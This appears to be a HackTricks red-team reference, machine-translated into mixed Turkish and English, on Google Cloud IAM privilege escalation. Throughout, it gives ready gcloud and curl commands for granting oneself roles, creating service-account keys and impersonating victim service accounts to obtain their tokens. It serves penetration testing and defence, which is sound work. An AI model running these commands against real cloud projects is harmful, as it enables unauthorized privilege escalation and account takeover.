GCP - IAM Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

IAM

IAM hakkında daha fazla bilgi için:

GCP - IAM, Principals & Org Policies Enum

iam.roles.update (iam.roles.get)

Belirtilen permissions’a sahip bir attacker, size atanmış bir role’ü güncelleyebilir ve size aşağıdaki gibi diğer resources için ek permissions verebilir:

gcloud iam roles update <rol name> --project <project> --add-permissions <permission>

Vuln environment’in oluşturulmasını, exploit edilmesini ve temizlenmesini otomatikleştiren bir scripti burada bulabilirsiniz ve bu ayrıcalığı suistimal etmek için bir python scripti here. Daha fazla bilgi için original research.

gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>

iam.roles.create & iam.serviceAccounts.setIamPolicy

iam.roles.create izni, bir proje/organizasyonda özel roller oluşturulmasına izin verir. Bir saldırganın eline geçerse tehlikelidir çünkü bu, saldırganın daha sonra varlıklara (örneğin iam.serviceAccounts.setIamPolicy iznini kullanarak) atanabilecek yeni izin setleri tanımlamasına ve böylece ayrıcalıkları yükseltmesine olanak verir.

gcloud iam roles create <ROLE_ID> \
--project=<PROJECT_ID> \
--title="<Title>" \
--description="<Description>" \
--permissions="permission1,permission2,permission3"

iam.serviceAccounts.getAccessToken (iam.serviceAccounts.get)

Bahsedilen izinlere sahip bir saldırgan Service Account’a ait bir access token isteyebilecektir, bu yüzden bizimkinden daha fazla ayrıcalığa sahip bir Service Account’un access token’ını istemek mümkün olabilir.

Bir resource-driven varyant için, saldırganın kontrolündeki kodun metadata servisinden managed Vertex AI Agent Engine runtime token çalıp bunu Vertex AI service agent olarak yeniden kullanması durumuyla ilgili detaylar için bakınız:

GCP - Vertex AI Post Exploitation

gcloud --impersonate-service-account="${victim}@${PROJECT_ID}.iam.gserviceaccount.com" \
auth print-access-token

Otomatikleştirmek için bir scripti creation, exploit and cleaning of a vuln environment here adresinde bulabilirsiniz ve bu ayrıcalığı kötüye kullanmak için bir python scriptini here adresinde bulabilirsiniz. Daha fazla bilgi için original research inceleyin.

iam.serviceAccountKeys.create

Bahsedilen izinlere sahip bir saldırgan, bir Service Account için kullanıcı tarafından yönetilen bir anahtar oluşturabilir, bu da bize o Service Account olarak GCP’ye erişme imkânı verir.

gcloud iam service-accounts keys create --iam-account <name> /tmp/key.json

gcloud auth activate-service-account --key-file=sa_cred.json

Otomatikleştirmek için bir scripti creation, exploit and cleaning of a vuln environment here ve bu ayrıcalığı kötüye kullanmak için bir python scriptini here bulabilirsiniz. Daha fazla bilgi için original research adresine bakın.

Note that iam.serviceAccountKeys.update won’t work to modify the key of a SA because to do that the permissions iam.serviceAccountKeys.create is also needed.

iam.serviceAccounts.implicitDelegation

Eğer bir Service Account üzerinde iam.serviceAccounts.implicitDelegation iznine sahipseniz ve bu Service Account’un üçüncü bir Service Account üzerinde iam.serviceAccounts.getAccessToken izni varsa, implicitDelegation’ı kullanarak üçüncü Service Account için bir token oluşturabilirsiniz. Açıklamaya yardımcı bir diyagram aşağıdadır.

Belirtmek gerekir ki documentation’a göre, gcloud delegasyonu yalnızca generateAccessToken() yöntemini kullanarak token üretmek için çalışır. Bu yüzden API’yi doğrudan kullanarak nasıl token alınacağını aşağıda bulabilirsiniz:

curl -X POST \
'https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/'"${TARGET_SERVICE_ACCOUNT}"':generateAccessToken' \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer '"$(gcloud auth print-access-token)" \
-d '{
"delegates": ["projects/-/serviceAccounts/'"${DELEGATED_SERVICE_ACCOUNT}"'"],
"scope": ["https://www.googleapis.com/auth/cloud-platform"]
}'

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccounts.signBlob

Bahsedilen izinlere sahip bir saldırgan, sign of arbitrary payloads in GCP gerçekleştirebilecektir. Bu sayede hedeflediğimiz SA tarafından JWT’nin imzalanması için create an unsigned JWT of the SA and then send it as a blob to get the JWT signed mümkün olacaktır. Daha fazla bilgi için read this.

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here and here. For more information check the original research.

iam.serviceAccounts.signJwt

Bahsedilen izinlere sahip bir saldırgan sign well-formed JSON web tokens (JWTs) imzalayabilecektir. Önceki yöntemden farkı, instead of making google sign a blob containing a JWT, we use the signJWT method that already expects a JWT. Bu, kullanımını kolaylaştırır fakat herhangi bir byte yerine yalnızca JWT imzalayabilirsiniz.

You can find a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to abuse this privilege here. For more information check the original research.

iam.serviceAccounts.setIamPolicy

Bahsedilen izinlere sahip bir saldırgan add IAM policies to service accounts gerçekleştirebilecektir. Bunu, service account’u taklit etmek için ihtiyaç duyduğunuz izinleri kendinize grant yourself vermek amacıyla kötüye kullanabilirsiniz. Aşağıdaki örnekte ilgilenilen SA üzerinde kendimize roles/iam.serviceAccountTokenCreator rolünü veriyoruz:

gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountTokenCreator"

# If you still have prblem grant yourself also this permission
gcloud iam service-accounts add-iam-policy-binding "${VICTIM_SA}@${PROJECT_ID}.iam.gserviceaccount.com" \ \
--member="user:username@domain.com" \
--role="roles/iam.serviceAccountUser"

Bir zafiyet ortamının oluşturulmasını, istismarını ve temizlenmesini otomatikleştirmek için bir scripti şurada bulabilirsiniz: creation, exploit and cleaning of a vuln environment here.

iam.serviceAccounts.actAs

The iam.serviceAccounts.actAs permission AWS’deki iam:PassRole permission’a benzer. Compute Engine örneğini başlatmak gibi görevleri yürütmek için gereklidir; bir Service Account olarak “actAs” etme yeteneği vererek güvenli izin yönetimi sağlar. Bu izin olmadan kullanıcılar haksız erişim kazanabilir. Ayrıca, iam.serviceAccounts.actAs’ın suistimali çeşitli yöntemler içerir ve her biri bir dizi izin gerektirir; bazı diğer yöntemlerin yalnızca bir izin gerektirmesiyle zıtlık gösterir.

Hizmet hesabı taklidi

Bir hizmet hesabını taklit etmek, yeni ve daha iyi ayrıcalıklar elde etmek için çok faydalı olabilir. Başka bir service account’u impersonate another service account yapmanın üç yolu vardır:

  • Authentication using RSA private keys (yukarıda ele alındı)
  • Authorization using Cloud IAM policies (burada ele alındı)
  • Deploying jobs on GCP services (daha çok bir kullanıcı hesabının ele geçirilmesine uygulanır)

iam.serviceAccounts.getOpenIdToken

Bahsedilen izinlere sahip bir saldırgan OpenID JWT üretebilir. Bunlar kimliği doğrulamak için kullanılır ve zorunlu olarak bir kaynağa karşı örtük bir yetkilendirme taşımaz.

Bu interesting post göre, audience (token’i kimlik doğrulamak için kullanmak istediğiniz servis) belirtilmelidir ve size service account ile JWT’nin audience’ını gösteren google tarafından imzalanmış bir JWT verilecektir.

Erişiminiz varsa bir OpenIDToken şu şekilde üretebilirsiniz:

# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com

Sonra servise erişmek için onu şu şekilde kullanabilirsiniz:

curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app

Bu tür token’lar aracılığıyla kimlik doğrulamayı destekleyen bazı servisler şunlardır:

Bir servis hesabı adına OpenID token oluşturmanın bir örneğini burada bulabilirsiniz.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin